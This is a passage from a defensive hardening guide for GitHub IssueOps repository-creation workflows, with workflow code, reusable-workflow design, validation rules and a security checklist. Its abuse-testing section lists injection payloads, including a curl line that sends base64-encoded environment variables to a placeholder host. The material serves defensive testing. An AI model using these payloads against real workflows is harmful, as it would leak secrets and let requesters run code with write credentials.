owner: ${{ github.repository_owner }}
permission-members: read
permission-metadata: read
- name: Parse current issue body
id: parse
uses: issue-ops/parser@<SHA> # v5
with:
body: ${{ steps.current.outputs.body }}
issue-form-template: new-repository.yml
workspace: ${{ github.workspace }}
- name: Re-validate current request
id: validate
uses: issue-ops/validator@<SHA> # v4
env:
ORGANIZATION: ${{ github.repository_owner }}
REQUESTER: ${{ github.event.issue.user.login }}
VALIDATOR_TOKEN: ${{ steps.reader.outputs.token }}
with:
add-comment: false
github-token: ${{ github.token }}
issue-form-template: new-repository.yml
parsed-issue-body: ${{ steps.parse.outputs.json }}
workspace: ${{ github.workspace }}
- name: Confirm the request matches what was approved
uses: actions/github-script@<SHA> # v8
env:
PARSED: ${{ steps.parse.outputs.json }}
RESULT: ${{ steps.validate.outputs.result }}
APPROVED_DIGEST: ${{ needs.submit.outputs.digest }}
with:
script: |
const digest = require('./.github/issueops/digest.cjs')
if (process.env.RESULT !== 'success') {
throw new Error('The request no longer passes validation.')
}
if (digest(JSON.parse(process.env.PARSED)) !== process.env.APPROVED_DIGEST) {
throw new Error('The request changed after it was submitted. Comment .submit again.')
}
- name: Create write token
id: writer
uses: actions/create-github-app-token@<SHA> # v3
with:
client-id: ${{ vars.ISSUEOPS_WRITER_CLIENT_ID }}
private-key: ${{ secrets.ISSUEOPS_WRITER_PRIVATE_KEY }}
owner: ${{ github.repository_owner }}
permission-administration: write
permission-members: read
permission-repository-custom-properties: write
- name: Create repository and grant team access
id: create
uses: actions/github-script@<SHA> # v8
env:
PARSED: ${{ steps.parse.outputs.json }}
with:
github-token: ${{ steps.writer.outputs.token }}
script: |
const request = JSON.parse(process.env.PARSED)
const org = context.repo.owner
const name = request.repository_name
const visibility = request.visibility?.[0]
const role = request.team_role?.[0]
const classification = request.data_classification?.[0]
if (!/^[a-z0-9][a-z0-9-]{1,62}[a-z0-9]$/.test(name)) throw new Error('Invalid repository name')
if (!['private', 'internal'].includes(visibility)) throw new Error('Visibility not allowed')
if (!['push', 'maintain'].includes(role)) throw new Error('Team role not allowed')
if (!['general', 'confidential', 'restricted'].includes(classification)) throw new Error('Classification not allowed')
await github.rest.repos.createInOrg({
org,
name,
visibility,
auto_init: true,
custom_properties: { data_classification: classification }
})
core.setOutput('url', `${context.serverUrl}/${org}/${name}`)
core.setOutput('created', 'true')
await github.rest.teams.addOrUpdateRepoPermissionsInOrg({
org,
team_slug: request.owning_team,
owner: org,
repo: name,
permission: role
})
- name: Report and close
if: always()
uses: actions/github-script@<SHA> # v8
env:
OUTCOME: ${{ steps.create.outcome }}
CREATED: ${{ steps.create.outputs.created }}
REPO_URL: ${{ steps.create.outputs.url }}
APPROVED_DIGEST: ${{ needs.submit.outputs.digest }}
with:
script: |
const issue = { ...context.repo, issue_number: context.issue.number }
const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`
const { data: reviews } = await github.rest.actions.getReviewsForRun({ ...context.repo, run_id: context.runId })
const approvers = reviews.filter((r) => r.state === 'approved').map((r) => `\`${r.user.login}\``).join(', ') || 'unknown'
if (process.env.OUTCOME === 'success') {
await github.rest.issues.createComment({ ...issue, body: `Created ${process.env.REPO_URL}. Approved by ${approvers} for request digest \`${process.env.APPROVED_DIGEST}\`. [Run log](${runUrl})` })
await github.rest.issues.update({ ...issue, state: 'closed', state_reason: 'completed' })
} else if (process.env.CREATED === 'true') {
await github.rest.issues.createComment({ ...issue, body: `Partial result: ${process.env.REPO_URL} was created, but team access was not granted. A platform team member must complete or remove it manually. Do not resubmit. [Run log](${runUrl})` })
} else {
await github.rest.issues.createComment({ ...issue, body: `The request was not completed and nothing was created. A platform team member will review [the run](${runUrl}).` })
}How the controls map to the code:
| Control | Where |
|---|---|
| No write credential during validation | validate and submit jobs only create the reader token |
| Approval before the write key is readable | environment: issueops-apply with required reviewers and prevent self-review |
| Requester-only submit, no PR comments | submit job if: guard plus the exact-command step |
| Reviewers see what they approve | Review summary written to the issue and to the submit job summary on the run page |
| Approver recorded outside run logs | Final comment lists approvers from the workflow run review history (actions: read) |
| Partial failure is visible | created output distinguishes "nothing created" from "created without team access" |
| TOCTOU protection | Digest computed in submit, recomputed from the API-fetched body in apply |
| No expression injection | Every run: and script: reads data from env: or action inputs; no request data in ${{ }} inside scripts |
| Least-privilege token | permission-* inputs on each create-github-app-token step |
| Defense in depth | Invariants re-checked before the API calls |
| Guardrails from creation | custom_properties set in the create call so property-targeted rulesets apply immediately |
Note
The permission-* input names are generated from the GitHub App permission names; the full list is in the action's action.yml. client-id is the current input; app-id is deprecated but still accepted.
The internal visibility value for createInOrg is listed in the GitHub Enterprise Cloud REST reference; it applies only to organizations owned by an enterprise account.
Platform teams often move the privileged logic (create a repository, grant access, set properties) into a reusable workflow in a central repository, and call it from one or more IssueOps repositories with workflow_call inputs. This is a good way to review and version the privileged code once. It also turns the reusable workflow into a shared API: every repository allowed to call it can pass any value in with:. Design it the way you would design an internal admin API that accepts requests from other teams.
The following behaviors come from the reusable workflows reference and Reuse workflows. Each one has a security consequence.
| Behavior | Consequence |
|---|---|
The github context in the called workflow is always the caller's (github.repository, github.event, github.actor, github.workflow_ref) |
The called workflow can read the caller's raw event, including the issue body. Do not: accept explicit, typed inputs instead. Use github.repository and github.workflow_ref to identify the caller |
actions/checkout defaults to github.repository, which is the caller |
Scripts, validator configs, or allowlists loaded from the workspace come from the caller's repository, and the caller controls them. Keep security logic inside the reusable workflow file or in SHA-pinned actions. On GitHub Enterprise Cloud, a reusable workflow can check out its own source with repository: ${{ job.workflow_repository }} and ref: ${{ job.workflow_sha }}; these job.workflow_* properties are not available on GitHub Enterprise Server |
workflow_call inputs support only boolean, number, and string |
There is no choice type. Every enumeration and pattern must be enforced in code inside the reusable workflow |
| Inputs are not secrets | Input values are not masked. Never pass tokens or keys as inputs |
Secrets are passed explicitly or with secrets: inherit (same organization or enterprise) |
inherit passes every secret the caller can see, including any write key stored at repository or organization level |
Environment secrets cannot be passed through workflow_call; if a job in the reusable workflow sets environment, that environment's secrets are used |
The approval environment and its secrets live in the caller's repository. The reusable workflow can require an environment by name, and the caller's environment protection rules apply |
The run executes in the caller's context; repository and organization secrets reach the called workflow only when passed explicitly or with inherit |
Treat configuration variables (vars) read inside the reusable workflow as values the caller's repository, organization, or environment can influence. Do not read allowlists or security switches from vars inside the reusable workflow |
GITHUB_TOKEN permissions can only be kept or reduced by the called workflow; if the calling job sets no permissions, the called workflow gets the default |
The caller must set explicit, minimal permissions on the calling job |
The {ref} in uses: owner/repo/.github/workflows/file.yml@{ref} can be a SHA, tag, or branch |
Only a full SHA is immutable. A tag or branch lets whoever can push to the central repository change what every caller runs |
| Private repositories must explicitly allow access to their reusable workflows | The access setting is a level (for example, repositories in the same organization or enterprise), not a list of repositories. It narrows who can call, but the reusable workflow still needs its own caller allowlist |
- Declare every input with
typeandrequired. Prefer several narrow inputs over one free-form JSON "payload". If you must accept JSON, parse it with error handling, validate it against a schema, reject unknown keys, and cap its size. - Validate every input before it is used, in a job that has no secrets and no environment, and fail closed. Reviewers are then never asked to approve an invalid call.
- Re-assert the security-critical invariants (visibility, role, name pattern) in the privileged job, right before the API calls. Jobs do not share state, so a later edit that skips the validation job must still fail safe.
- Pass inputs to scripts through
env:only.${{ inputs.x }}insiderun:orscript:is exactly as dangerous as${{ github.event.issue.title }}. - Never let an input choose a security-relevant setting. Hard-code these in the reusable workflow file:
environment(the approval gate)runs-on(a caller could otherwise pick a self-hosted runner)- the App token's
owner,repositories, andpermission-*inputs - the
repositoryandrefof anyactions/checkout - the organization passed to API calls
- any "skip approval", "force", or "bypass" behavior. Do not offer those inputs at all
- Restrict callers inside the workflow. Compare
github.workflow_ref(caller workflow file and ref) against an exact allowlist written in the reusable workflow file itself, not invars. A check ongithub.repositoryalone admits every workflow and branch in that repository, so use it only as an additional check. - Do not depend on caller secrets. Keep the write key as an environment secret on the approval environment in the one authorized caller repository, and reference the environment from the privileged job. Declare any other secret explicitly under
on.workflow_call.secretswithrequired: true. - Keep inputs minimal. The reusable workflow in the example below does not take an issue number and has no
issuespermission. Commenting and closing stay in the caller, so the privileged workflow cannot be used as a confused deputy against other issues. - Treat your own outputs as data. Outputs derived from inputs are untrusted for the caller, and outputs must never contain tokens.
- Declare
permissions: {}at workflow level and minimal permissions per job, as in any other workflow. - If the privileged job authenticates to a cloud provider or vault through OIDC, restrict the trust policy with the
job_workflow_refclaim so only this reusable workflow, at an approved ref, can obtain credentials (WAF: Scaling with reusable workflows). On GitHub Enterprise Server, confirm that your version and cloud provider support this claim.
- Reference the reusable workflow by full SHA:
uses: contoso/platform-workflows/.github/workflows/create-repository.yml@<SHA> # v1.4.0. The SHA-pinning policy covers reusable workflows as well as actions. - Set
permissions:explicitly on the calling job. Without it, the called workflow receives the defaultGITHUB_TOKENpermissions. - Pass no secrets if you can. Never use
secrets: inheritfor a privileged reusable workflow; name each secret instead. - Pass only values that the caller has already parsed and validated, from job outputs. Never pass
github.event.issue.body, a comment body, or parser output in bulk. - Pass values with the declared type. A boolean input receives
true, not'true'. - Values in
with:are safe from script injection in the caller, because they are inputs, not script source. The reusable workflow must still handle them as untrusted. - Cap cache access for the called workflow with
cache-modeon the calling job where your instance supports it, to reduce cache-poisoning paths. - Do not reuse the same
concurrency.groupvalue in the caller and the called workflow withcancel-in-progress: true. The docs warn this cancels the running caller.
Platform teams often add a workflow_dispatch trigger so an administrator can run the same workflow by hand or through the API. Anyone with write access to the repository can dispatch a workflow, so these inputs need the same treatment.
on:
workflow_dispatch:
inputs:
repository_name:
type: string
required: true
visibility:
type: choice
options: [private, internal]
default: private
dry_run:
type: boolean
default: true- Use
choice,boolean, andnumberwherever possible, and still validate in the workflow. The UI restricts what a person can pick; do not rely on it as the only control for API-triggered runs. - Read values from the
inputscontext. It keeps booleans as booleans, whilegithub.event.inputsholds strings, sogithub.event.inputs.dry_runis the non-empty string'false', which is truthy in a condition. - Default to the safe value (
dry_run: true,private). - Do not use an
environment-type input to select the approval environment. Hard-code the environment on the privileged job. - Keep the privileged job behind the same approval environment as the IssueOps path, so a dispatch cannot skip review.
| Pitfall | Safe practice |
|---|---|
| Unanchored or partially anchored patterns | Anchor both ends. In JavaScript, /^[a-z0-9-]+$/ without the m flag matches the whole string. In Python, use re.fullmatch, because $ also matches before a trailing newline. In Bash, [[ "$v" =~ ^[a-z0-9-]+$ ]] with the pattern unquoted |
| Unbounded length | Put the length limit in the pattern ({1,62}) or check it first. Reject empty strings |
| "Sanitizing" instead of rejecting | Reject values that do not match. Stripping characters silently changes what was requested and what reviewers saw |
| Unicode look-alikes | Restrict identifiers to explicit ASCII classes such as [a-z0-9-]. Avoid \w and case-insensitive matching for names |
| Type confusion | Check typeof before matching. Compare booleans with booleans. For numbers, check Number.isInteger and a range |
| Option injection | Values that must not start with - should fail the pattern. When a CLI is unavoidable, pass -- before positional arguments |
| Reflected values in errors | Name the invalid input, not its value |
Untrusted fromJSON(inputs.x) for matrices |
Validate the array length and every element before using it to fan out jobs |
In this variant, the IssueOps repository keeps the validate and submit jobs from 11.6, and the privileged work moves to contoso/platform-workflows. The approved values are frozen as inputs when the caller starts the reusable workflow, so editing the issue afterwards does not change what runs, and there is no need to re-fetch the issue. The digest now covers the normalized fields, so the reusable workflow can recompute it from its inputs.
Add a normalization step to the submit job and expose its outputs. In the "Post review summary" step from 11.6, set DIGEST: ${{ steps.normalized.outputs.fields_digest }} so reviewers see the same digest the reusable workflow checks:
outputs:
repository_name: ${{ steps.normalized.outputs.repository_name }}
visibility: ${{ steps.normalized.outputs.visibility }}
owning_team: ${{ steps.normalized.outputs.owning_team }}
team_role: ${{ steps.normalized.outputs.team_role }}
data_classification: ${{ steps.normalized.outputs.data_classification }}
fields_digest: ${{ steps.normalized.outputs.fields_digest }}
steps:
# ... exact-command check, checkout, parse, validate as in 11.6 ...
- name: Normalize request
id: normalized
uses: actions/github-script@<SHA> # v8
env:
PARSED: ${{ steps.parse.outputs.json }}
with:
script: |
const request = JSON.parse(process.env.PARSED)
// Key order must match the reusable workflow's digest check.
const fields = {
data_classification: request.data_classification?.[0] ?? '',
owning_team: request.owning_team ?? '',
repository_name: request.repository_name ?? '',
team_role: request.team_role?.[0] ?? '',
visibility: request.visibility?.[0] ?? ''
}
for (const [key, value] of Object.entries(fields)) core.setOutput(key, value)
core.setOutput('fields_digest', require('node:crypto').createHash('sha256').update(JSON.stringify(fields)).digest('hex'))Replace the apply job with a call, and report from the caller:
apply:
needs: submit
concurrency:
group: issueops-apply-${{ github.event.issue.number }}
cancel-in-progress: false
permissions:
contents: read
cache-mode: none
uses: contoso/platform-workflows/.github/workflows/create-repository.yml@<SHA> # v1.4.0
with:
repository_name: ${{ needs.submit.outputs.repository_name }}
visibility: ${{ needs.submit.outputs.visibility }}
owning_team: ${{ needs.submit.outputs.owning_team }}
team_role: ${{ needs.submit.outputs.team_role }}
data_classification: ${{ needs.submit.outputs.data_classification }}
request_digest: ${{ needs.submit.outputs.fields_digest }}
report:
needs: [submit, apply]
if: always() && needs.submit.result == 'success'
runs-on: ubuntu-latest
timeout-minutes: 5
permissions:
actions: read
issues: write
steps:
- name: Report and close
uses: actions/github-script@<SHA> # v8
env:
RESULT: ${{ needs.apply.result }}
CREATED: ${{ needs.apply.outputs.created }}
REPO_URL: ${{ needs.apply.outputs.repository_url }}
APPROVED_DIGEST: ${{ needs.submit.outputs.fields_digest }}
with:
script: |
const issue = { ...context.repo, issue_number: context.issue.number }
const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`
const { data: reviews } = await github.rest.actions.getReviewsForRun({ ...context.repo, run_id: context.runId })
const approvers = reviews.filter((r) => r.state === 'approved').map((r) => `\`${r.user.login}\``).join(', ') || 'unknown'
if (process.env.RESULT === 'success') {
await github.rest.issues.createComment({ ...issue, body: `Created ${process.env.REPO_URL}. Approved by ${approvers} for request digest \`${process.env.APPROVED_DIGEST}\`. [Run log](${runUrl})` })
await github.rest.issues.update({ ...issue, state: 'closed', state_reason: 'completed' })
} else if (process.env.CREATED === 'true') {
await github.rest.issues.createComment({ ...issue, body: `Partial result: ${process.env.REPO_URL} was created, but team access was not granted. A platform team member must complete or remove it manually. Do not resubmit. [Run log](${runUrl})` })
} else {
await github.rest.issues.createComment({ ...issue, body: `The request was not completed. A platform team member will review [the run](${runUrl}).` })
}Note
The "Partial result" branch depends on the created output reaching the caller after the called job fails. Confirm this in the sandbox on your instance. If it does not, have the report job check whether the repository exists before choosing the message.
The reusable workflow in the central repository:
# contoso/platform-workflows/.github/workflows/create-repository.yml
name: Create repository (reusable)
on:
workflow_call:
inputs:
repository_name:
type: string
required: true
visibility:
type: string
required: true
owning_team:
type: string
required: true
team_role:
type: string
required: true
data_classification:
type: string
required: true
request_digest:
type: string
required: true
outputs:
repository_url:
value: ${{ jobs.create.outputs.url }}
created:
value: ${{ jobs.create.outputs.created }}
permissions: {}
jobs:
validate:
name: Validate caller and inputs
runs-on: ubuntu-latest
timeout-minutes: 5
permissions: {}
steps:
- uses: actions/github-script@<SHA> # v8
env:
CALLER_WORKFLOW: ${{ github.workflow_ref }}
REPOSITORY_NAME: ${{ inputs.repository_name }}
VISIBILITY: ${{ inputs.visibility }}
OWNING_TEAM: ${{ inputs.owning_team }}
TEAM_ROLE: ${{ inputs.team_role }}
DATA_CLASSIFICATION: ${{ inputs.data_classification }}
REQUEST_DIGEST: ${{ inputs.request_digest }}
with:
script: |
// Allowlist lives in this file: vars and secrets resolve in the caller's context.
const ALLOWED_CALLERS = new Set([
'contoso/issueops/.github/workflows/issueops-new-repository.yml@refs/heads/main'
])
const e = process.env
if (!ALLOWED_CALLERS.has(e.CALLER_WORKFLOW)) throw new Error('Caller workflow is not allowed.')
const patterns = {
REPOSITORY_NAME: /^[a-z0-9][a-z0-9-]{1,62}[a-z0-9]$/,
OWNING_TEAM: /^[a-z0-9][a-z0-9-]{0,99}$/,
REQUEST_DIGEST: /^[a-f0-9]{64}$/
}
for (const [name, pattern] of Object.entries(patterns)) {
if (!pattern.test(e[name] ?? '')) throw new Error(`Input ${name} is invalid.`)
}
const allowed = {
VISIBILITY: ['private', 'internal'],
TEAM_ROLE: ['push', 'maintain'],
DATA_CLASSIFICATION: ['general', 'confidential', 'restricted']
}
for (const [name, values] of Object.entries(allowed)) {
if (!values.includes(e[name])) throw new Error(`Input ${name} is not allowed.`)
}
const fields = {
data_classification: e.DATA_CLASSIFICATION,
owning_team: e.OWNING_TEAM,
repository_name: e.REPOSITORY_NAME,
team_role: e.TEAM_ROLE,
visibility: e.VISIBILITY
}
const digest = require('node:crypto').createHash('sha256').update(JSON.stringify(fields)).digest('hex')
if (digest !== e.REQUEST_DIGEST) throw new Error('Inputs do not match the reviewed request digest.')
create:
name: Create repository
needs: validate
runs-on: ubuntu-latest
timeout-minutes: 15
environment: issueops-apply
concurrency:
group: create-repository-${{ inputs.repository_name }}
cancel-in-progress: false
permissions: {}
outputs:
url: ${{ steps.create.outputs.url }}
created: ${{ steps.create.outputs.created }}
steps:
- name: Create write token
id: writer
uses: actions/create-github-app-token@<SHA> # v3
with:
client-id: ${{ vars.ISSUEOPS_WRITER_CLIENT_ID }}
private-key: ${{ secrets.ISSUEOPS_WRITER_PRIVATE_KEY }}
owner: contoso
permission-administration: write
permission-members: read
permission-repository-custom-properties: write
- name: Create repository and grant team access
id: create
uses: actions/github-script@<SHA> # v8
env:
REPOSITORY_NAME: ${{ inputs.repository_name }}
VISIBILITY: ${{ inputs.visibility }}
OWNING_TEAM: ${{ inputs.owning_team }}
TEAM_ROLE: ${{ inputs.team_role }}
DATA_CLASSIFICATION: ${{ inputs.data_classification }}
with:
github-token: ${{ steps.writer.outputs.token }}
script: |
const org = 'contoso'
const e = process.env
if (!/^[a-z0-9][a-z0-9-]{1,62}[a-z0-9]$/.test(e.REPOSITORY_NAME)) throw new Error('Invalid repository name')
if (!/^[a-z0-9][a-z0-9-]{0,99}$/.test(e.OWNING_TEAM)) throw new Error('Invalid team slug')
if (!['private', 'internal'].includes(e.VISIBILITY)) throw new Error('Visibility not allowed')
if (!['push', 'maintain'].includes(e.TEAM_ROLE)) throw new Error('Team role not allowed')
if (!['general', 'confidential', 'restricted'].includes(e.DATA_CLASSIFICATION)) throw new Error('Classification not allowed')
await github.rest.repos.createInOrg({
org,
name: e.REPOSITORY_NAME,
visibility: e.VISIBILITY,
auto_init: true,
custom_properties: { data_classification: e.DATA_CLASSIFICATION }
})
core.setOutput('url', `${context.serverUrl}/${org}/${e.REPOSITORY_NAME}`)
core.setOutput('created', 'true')
await github.rest.teams.addOrUpdateRepoPermissionsInOrg({
org,
team_slug: e.OWNING_TEAM,
owner: org,
repo: e.REPOSITORY_NAME,
permission: e.TEAM_ROLE
})What this variant adds on top of section 11:
| Control | Where |
|---|---|
| Caller allowlist that callers cannot edit | ALLOWED_CALLERS in the reusable workflow file, checked against github.workflow_ref, which includes the ref, so a copy of the caller on a feature branch is rejected |
| Validation before approval | validate job has no environment and no secrets; the approval request only appears for valid calls |
| Frozen approved values | Inputs are fixed when the call starts; the reusable workflow recomputes the digest shown to reviewers |
| No duplicate creation | Caller concurrency keyed on the issue, and reusable-workflow concurrency keyed on the repository name |
| No caller-selected security settings | environment, runs-on, token owner and permissions, and organization are hard-coded |
| No secrets passed by the caller | The write key is an environment secret of issueops-apply in the caller repository |
| No confused deputy | The reusable workflow has no GITHUB_TOKEN permissions and takes no issue number |
The digest proves that the inputs match what reviewers saw. It does not prove the request was authorized: team membership and naming rules were checked by the caller. If the reusable workflow accepts callers you do not fully trust, repeat the authorization checks (for example, requester membership of the owning team) inside it before creating the write token.
Important
Protect the central repository at least as strictly as the IssueOps repository: default-branch ruleset, CODEOWNERS on .github/workflows/, and signed release tags. Set its Actions access level no wider than needed (for example, the organization rather than the enterprise), and rely on ALLOWED_CALLERS for the per-repository restriction. Anyone who can change the reusable workflow can change what every caller runs at the next SHA bump.
The apply job runs every action and dependency in the same process space as the write token. Keep that set small and fixed.
- Pin every action and reusable workflow, including
actions/*, to a full-length commit SHA taken from a tagged release in the action's own repository, not a fork. Add the version as a comment (WAF: Pin versions of actions). - Enforce pinning with the organization or enterprise SHA-pinning policy (5.1).
- Enable Dependabot version updates for the
github-actionsandnpmecosystems. Dependabot alerts are not raised for actions pinned to SHAs, so also review advisories for the actions you use in the GitHub Advisory Database and run dependency review on pull requests (Secure use reference). - Review the source of every third-party action before first use and on every update. Avoid actions with mutable dependencies, such as unpinned container images or scripts downloaded at runtime.
- Minimize third-party actions in the privileged job. The reference implementation uses
actions/*plus the twoissue-ops/*actions. Replace convenience actions (comment posting, labeling) withactions/github-scriptcalls. For community actions with a small maintainer base, consider vendoring a reviewed copy into an internal repository. - Install npm dependencies with
npm ci --ignore-scriptsfrom a lockfile protected by CODEOWNERS.
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
- package-ecosystem: npm
directory: /
schedule:
interval: weeklyOpenSSF Scorecard checks for dangerous workflow patterns, token permissions, and pinning. Community linters such as actionlint and zizmor catch many of the issues in this guide; evaluate them before adding them as required checks.
- Use GitHub-hosted runners. Each job runs in a fresh virtual machine that is destroyed afterwards.
- If you must use self-hosted runners, use ephemeral just-in-time runners, place them in a runner group restricted to the IssueOps repository, keep no other credentials on the host, and block access to cloud metadata services. Treat environment secrets on self-hosted runners as exposed to every job the runner executes (Secure use reference).
- Never run IssueOps on self-hosted runners from a public repository.
A complete record for each change links four artifacts: the issue (request and discussion), the review summary with its digest, the environment approval (who approved and when), and the workflow run (what executed). The final comment in the reference implementation ties them together.
- Stream the enterprise audit log to your SIEM. Alert on changes to the IssueOps repository's environments, rulesets, and secrets (for example
org.update_actions_secretand the equivalent repository and environment events), on new private keys for either App, and on App permission changes. - Review environment reviewers, ruleset bypass lists, App installations, and App permissions on a schedule.
- Compare repositories created in the organization with repositories created by the automation. Repositories created outside the flow are either a legitimate break-glass action or a gap.
- Keep workflow run logs for your retention period. If a log contains an unredacted secret, delete the log and rotate the secret.
Test in a sandbox organization with its own Apps and keys.
Put each payload in the title, every free-text field, and the justification. For reusable workflows and workflow_dispatch, also pass each payload directly as every string input from a test caller. Nothing should execute, and no workflow output, comment, or log should contain unexpected content.
a"; curl https://example.invalid/?t=$(env | base64 -w0); echo "
$(id)
`id`
'); console.log(process.env); ('
${{ github.token }}
line1
INJECTED=1
--visibility=public
../other-repo
@org/platform-security please approve
| Scenario | Expected result |
|---|---|
Someone other than the author comments .submit |
submit job skipped |
.submit commented on a pull request |
submit job skipped |
| Requester, who is also a platform team member, approves their own run | Blocked by prevent self-review |
Requester edits the body after .submit, reviewer then approves |
Section 11 flow: apply fails at the digest check and nothing is created. Section 12 flow: the frozen, reviewed values are applied; the edit has no effect |
Body edited by hand to set visibility public or role admin |
Validator rejects the selection; apply invariants also reject |
| Owning team the requester does not belong to | Validator rejects |
| Repository name that already exists | Validator rejects; creation would also fail |
Someone adds an approved label manually |
No effect |
A workflow on a feature branch references issueops-apply |
Blocked by the environment's deployment branch rule |
Two .submit comments in quick succession |
At most one repository is created; an earlier pending run may be cancelled, and any later run fails validation because the repository exists |
| Team grant fails after the repository is created | Issue shows a partial-result comment; nothing is retried automatically |
.submit please or .submitted comment |
Exact-command step fails; nothing else runs |
| Validator script or workflow changed without code owner review | Merge blocked by the ruleset |
| A repository not in the allowlist calls the reusable workflow | Blocked by the central repository's access level (if outside it) or by the ALLOWED_CALLERS check |
The authorized caller workflow, copied to a feature branch, calls the reusable workflow with visibility: public |
validate job fails: caller ref not allowed, and visibility not allowed |
Caller passes inputs that do not match request_digest |
validate job fails; no approval request is created |
workflow_dispatch with dry_run set to false by a user without approval rights |
Privileged job waits for environment approval |
Run CodeQL for GitHub Actions on every pull request to the IssueOps repository. Add a simple review rule: any ${{ inside a run: or script: block that references github.event, a step output, or a job output is a finding unless a reviewer documents why it is safe.
Public IssueOps examples are written to teach the concept, and several of them contain patterns you should not copy into a privileged workflow.
| Pattern seen in public examples | Risk | Use instead |
|---|---|---|
JSON.parse('${{ steps.parse.outputs.json }}') inside github-script |
A ' in any form field ends the string; the rest runs as JavaScript with the App token |
env: PARSED: ... and JSON.parse(process.env.PARSED) |
username: '${{ github.event.issue.user.login }}' inside github-script |
Low risk because logins are restricted, but it normalizes the unsafe pattern | context.payload.issue.user.login or an environment variable |
run: echo ${{ steps.parser.outputs.json }} or echo "Errors: ${{ steps.validate.outputs.errors }}" |
Parsed values and validation errors can contain requester text, which becomes shell code | Do not log request data; if needed, use an environment variable |
Actions referenced by tag (@v4, @vX.X.X) |
Tags can be moved to malicious commits | Full-length commit SHA with a version comment |
Workflow-level permissions including id-token: write |
Every job gets permissions it does not need | permissions: {} at workflow level, minimal job-level permissions |
npm install before running validators |
Resolves versions at run time and runs install scripts | npm ci --ignore-scripts with a committed lockfile |
| App private key stored as a repository or organization secret | Readable by any workflow in the repository, including ones pushed to branches by anyone with write access | Environment secret on an environment with required reviewers |
startsWith(github.event.comment.body, '.approve') plus a team check |
No separation of duties and approval not bound to the reviewed content | Environment approval with prevent self-review, plus digest check |
| One App token, with all installation permissions, used for validation and changes | Validator code and third-party actions hold the write credential | Separate reader and writer Apps, permission-* inputs on every token |
secrets: inherit on a call to a privileged reusable workflow |
Every caller secret flows into the called workflow | Explicit secrets: entries, or none and an environment secret |
environment: ${{ inputs.environment }} or runs-on: ${{ inputs.runner }} |
The caller chooses a weaker approval gate or a self-hosted runner | Hard-coded values in the reusable workflow |
Reusable workflow referenced as @main or @v1 |
Anyone who can push to the central repository changes what every caller runs | Full-length commit SHA with a version comment |
Allowlist read from vars inside a reusable workflow |
vars resolve in the caller's context, so the caller can supply its own |
Allowlist written in the reusable workflow file |
if: github.event.inputs.dry_run == false |
github.event.inputs values are strings, so the comparison does not behave as intended |
inputs.dry_run with a boolean input |
Use this checklist to validate an implementation before go-live and after every change to the workflows, validators, reusable workflows, App permissions, or environment settings. Copy it into your tracking tool and add Status, Evidence, and Owner columns.
| Severity | Meaning | Go-live rule |
|---|---|---|
| Critical | A failure gives an attacker, or any requester, a direct path to run code with the write credential or to make an unapproved change | Must pass. No exceptions |
| High | A failure removes a layer of defense, weakens evidence, or makes a Critical failure much more likely | Must pass, or have a documented, time-bound risk acceptance signed by the risk owner |
Record evidence for every item: a file and line, a command output, a screenshot of a setting, or a test run link.
| ID | Severity | Check | How to verify |
|---|---|---|---|
| WF-01 | Critical | No ${{ }} expression that references untrusted data appears inside run: or script:. Untrusted data: github.event.* text fields, github.head_ref, inputs.*, steps.*.outputs.*, needs.*.outputs.*, including when wrapped in functions such as format() or toJSON() |
Review every ${{ inside run: and script: blocks; the searches in 18.10 find candidates but do not prove a pass. CodeQL shows no open Actions injection alerts |
| WF-02 | Critical | No untrusted data is written to $GITHUB_ENV or $GITHUB_PATH; outputs are set with core.setOutput or a random heredoc delimiter |
Search for GITHUB_ENV, GITHUB_PATH, and GITHUB_OUTPUT; review each write |
| WF-03 | Critical | Every workflow has permissions: {} at the top, and every job declares only the permissions it uses. No write-all |
Search for workflow files without a top-level permissions:; review each job's permissions block against the API calls it makes |
| WF-04 | Critical | No pull_request_target, and no workflow_run that consumes artifacts or code from untrusted runs, in the IssueOps or central workflow repositories |
Search for both triggers; document and review any exception |
| WF-05 | High | Untrusted values are not printed to logs, which can leak data and be interpreted as workflow commands | Search for echo, console.log, and core.info near request data; confirm only validated values or fixed text are logged |
| WF-06 | High | actions/checkout sets persist-credentials: false and checks out only the default branch of the IssueOps repository |
Review every actions/checkout step for persist-credentials, ref, and repository |
| WF-07 | High | Every job sets timeout-minutes |
Review job definitions |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| IN-01 | Critical | Every issue body is parsed with issue-ops/parser and the issue-form-template input |
Review each parser step |
| IN-02 | Critical | Every field that influences execution is validated against an allowlist or an anchored, length-bounded pattern. Free-text fields never reach execution | Map each form field to its validation rule and to where it is used; any unmapped field is a finding |
| IN-03 | Critical | Security-relevant values (visibility, role, classification, name) are re-asserted with hard-coded allowlists immediately before the privileged API calls | Review the apply code; test by bypassing the validator in a sandbox branch and confirm the apply code still rejects |
| IN-04 | High | Validation runs on open and edit, on submit, and again in the privileged job | Review the three workflows; run abuse scenario "edit after submit" |
| IN-05 | High | Enumerated choices are dropdown fields; blank issues are disabled |
Review the issue form and .github/ISSUE_TEMPLATE/config.yml |
| IN-06 | High | Validators return fixed messages and do not reflect submitted values | Review validator scripts; submit a payload and confirm it does not appear in the validation comment |
| IN-07 | High | Patterns are anchored at both ends in the language used (re.fullmatch in Python), restricted to ASCII classes, and bounded in length |
Review each pattern against 12.5 |
| IN-08 | High | Custom validators receive only a read-only token, run only on issues or issue_comment events, and dependencies are installed with npm ci --ignore-scripts |
Review validator steps and env:; confirm the write token is never in scope |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| RW-01 | Critical | The reusable workflow validates every input (type, pattern, allowlist) in a job without secrets or environment, fails closed, and the privileged job needs it |
Review the reusable workflow; call it from a sandbox caller with invalid values and confirm no approval request appears |
| RW-02 | Critical | No security-relevant setting is derived from an input: environment, runs-on, token owner, repositories, permission-*, checkout repository and ref, organization, bypass flags |
Search the reusable workflow for inputs. and confirm each use is data passed through env: |
| RW-03 | Critical | The reusable workflow checks the caller against an exact github.workflow_ref allowlist written in the file, not in vars. github.repository is at most an additional check |
Call from a non-allowlisted sandbox repository and from a feature-branch copy of the caller; both must fail |
| RW-04 | Critical | Callers reference the reusable workflow by full-length commit SHA | Run the unpinned-reference search in 18.10 |
| RW-05 | Critical | No secrets: inherit on calls to privileged reusable workflows; the write key reaches the privileged job only as an environment secret |
